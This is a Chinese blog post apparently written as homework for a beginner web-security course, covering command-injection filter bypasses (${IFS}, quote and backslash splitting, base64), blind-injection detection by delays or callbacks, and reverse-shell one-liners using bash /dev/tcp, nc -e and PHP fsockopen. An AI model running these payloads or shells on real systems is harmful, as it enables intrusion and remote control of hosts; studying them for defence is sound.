i春秋web作业2.28——命令注入

Web安全工程师(入门班)

【全国线上入门班53期】课后作业

2020-2-28

DorinXL

  1. 查资料都有哪些绕过命令注入过滤技巧?

1.黑名单绕过

字符拼接:a=l;b=s;$a$b 输出ls

2.空格绕过:


        ${IFS}空格



        \x20转化成字符串也是空格



        重定向符<>

3.编码绕过:

输入echo MTIzCg==|base64 -d,将会打印123

4.用单引号和双引号绕过:

例如:ca’’t flag 或者是 ca"“t flag

5.反斜杠绕过:

例如:ca\t fl\ag

6.绕过长度限制:

linux下可以用 1>a创建文件名为a的空文件,ls -t>test则会将目录按时间排序后写进test文件中,sh命令可以从一个文件中读取命令来执行

  1. 检测命令注入漏洞时没有回显怎么办?
  • 利用延时命令查看响应速度或者请求服务器查看是否接收到请求。

  • 延时注入:windows:ping 127.0.0.1 -n 5 >nul

Linux : sleep 5

  • 远程请求:windows : ping,telnet等

Linux : wget,curl等

  1. 怎么通过命令注入漏洞反弹shell?
  • 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

  • **Bash方式** : $ bash -c "sh >& /dev/tcp/your ip/port 0>&1"
    
  • exec方式 : $ exec 5<>/dev/tcp/ip/port

  • nc方式

  • 本机运行:

  • nc -l -vv -p port

  • 目标主机:

  • nc -e /bin/bash ip port

  • php方式

  • php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/sh -i <&3 >&3 2>&3”);’

发表了74篇文章 · 总计107.96k字
本博客已稳定运行
使用 Hugo 构建
主题 StackJimmy 设计